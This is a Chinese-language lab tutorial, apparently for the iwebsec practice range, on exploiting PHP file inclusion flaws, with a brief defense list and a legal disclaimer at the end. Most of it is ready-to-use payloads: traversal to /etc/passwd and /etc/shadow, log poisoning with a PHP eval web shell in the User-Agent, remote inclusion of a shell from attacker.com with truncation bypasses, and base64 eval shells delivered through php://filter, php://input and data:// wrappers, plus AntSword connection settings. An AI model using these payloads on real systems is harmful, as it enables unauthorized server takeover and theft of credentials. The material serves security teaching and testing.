iwebsec文件包含系列
字数 1814 2025-10-29 23:25:25
文件包含漏洞全面解析与实战利用
1. 文件包含漏洞概述
文件包含漏洞是Web应用程序中常见的安全漏洞,主要由于程序开发人员在设计时未对用户输入进行严格过滤,导致攻击者可以包含恶意文件并执行任意代码。
2. 本地文件包含(LFI)
2.1 基本利用
通过文件包含功能查看服务器敏感文件:
?filename=../../../../etc/passwd
2.2 敏感文件路径
常见敏感文件路径:
/etc/passwd- 用户账户信息/etc/shadow- 用户密码哈希/var/log/apache2/access.log- Apache访问日志/var/lib/php/session/sess_[sessionid]- PHP会话文件
3. 本地文件包含绕过技术
3.1 常用绕过方法
- 路径长度截断:利用系统路径长度限制
- 问号绕过:
?filename=../../etc/passwd? - 点号截断:
....//....//etc/passwd - #号绕过:
%23(URL编码) - 空格绕过:在路径末尾添加空格
- 00截断:
%00截断后续字符
3.2 日志文件包含GetShell
利用中间件日志文件包含获取Shell:
- 上传恶意代码到日志
User-Agent: <?php @eval($_REQUEST['cmd']);?>
- 包含日志文件
?filename=../../../../var/log/apache2/access.log
- 使用蚁剑连接
- URL:包含日志文件的路径
- 编码器/解码器:选择base64
- 超时时间:设置为30000ms
4. Session文件包含
4.1 Session文件路径
- Apache默认路径:
/tmp/或/var/lib/php/session/ - Session文件名格式:
sess_[sessionid]
4.2 利用方法
- 通过可控的Session内容写入恶意代码
- 利用文件包含漏洞包含带有恶意代码的Session文件
- 结合使用多个漏洞点完成攻击链
5. 远程文件包含(RFI)
5.1 利用条件
allow_url_fopen = On ; 默认开启
allow_url_include = On ; 默认关闭
5.2 基本利用
?filename=http://attacker.com/shell.txt
5.3 环境搭建
- 公网环境:使用云服务器托管恶意文件
- 本地环境:利用本机HTTP服务(如phpstudy)
6. 远程文件包含绕过
6.1 绕过技术
- #号绕过:
%23 - 问号绕过:直接使用
?或URL编码%3f - 00截断:
%00
6.2 有效Payload示例
?filename=http://attacker.com/shell.txt?
?filename=http://attacker.com/shell.txt%23
?filename=http://attacker.com/shell.txt%00
7. PHP伪协议利用
7.1 php://filter伪协议
利用条件
- 存在文件操作函数(include、require等)
- 参数用户可控且未严格过滤
- 目标文件路径已知
读取文件内容
?filename=php://filter/convert.base64-encode/resource=config.php
?filename=php://filter/read=convert.base64-encode/resource=config.php
Base64编码的作用
- 避免PHP标签被解析执行
- 绕过"死亡exit"限制(
<?php exit; ?>) - 兼容性强,适合网络传输
写入Shell
?filename=php://filter/write=convert.base64-decode/resource=shell.php
&str=PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==
7.2 php://input伪协议
利用条件
- PHP版本 ≥ 5.2
allow_url_fopen = Onallow_url_include = On
直接执行PHP代码
POST /fi/07.php?filename=php://input HTTP/1.1
<?php system('whoami');?>
7.3 file://伪协议
本地文件包含
?filename=file:///var/log/apache2/access.log
利用日志文件GetShell
- 将base64编码的Shell写入日志
- 使用file://协议包含日志文件
- 蚁剑连接时设置超时为30000ms
7.4 data://伪协议
利用条件
- PHP版本 ≥ 5.2
allow_url_fopen = Onallow_url_include = On
直接执行代码
?filename=data://text/plain,<?php phpinfo();?>
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
GetShell Payload
?filename=data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg==
8. 实战技巧总结
8.1 信息收集
- 确定文件包含点位置
- 识别过滤机制和WAF规则
- 收集系统路径信息
8.2 漏洞利用流程
- 测试基本文件包含功能
- 尝试各种绕过技术
- 利用伪协议读取敏感信息
- 通过日志或Session文件写入Shell
- 使用管理工具连接目标服务器
8.3 工具使用要点
- 蚁剑配置:注意编码器和超时设置
- Burp Suite:使用Repeater模块测试Payload
- 编码处理:合理使用base64编码绕过过滤
9. 防御建议
- 输入验证:严格过滤用户输入的路径参数
- 白名单机制:只允许包含指定的安全文件
- 禁用危险函数:关闭不必要的伪协议支持
- 权限控制:Web服务器以最小权限运行
- 安全配置:合理设置PHP安全参数
10. 注意事项
- 所有测试应在授权环境下进行
- 遵守《中华人民共和国网络安全法》
- 实际操作前充分测试和评估
- 注意技术内容的时效性,及时更新知识
通过系统学习文件包含漏洞的各种利用技术和防御方法,安全研究人员可以更好地理解和防范此类安全威胁。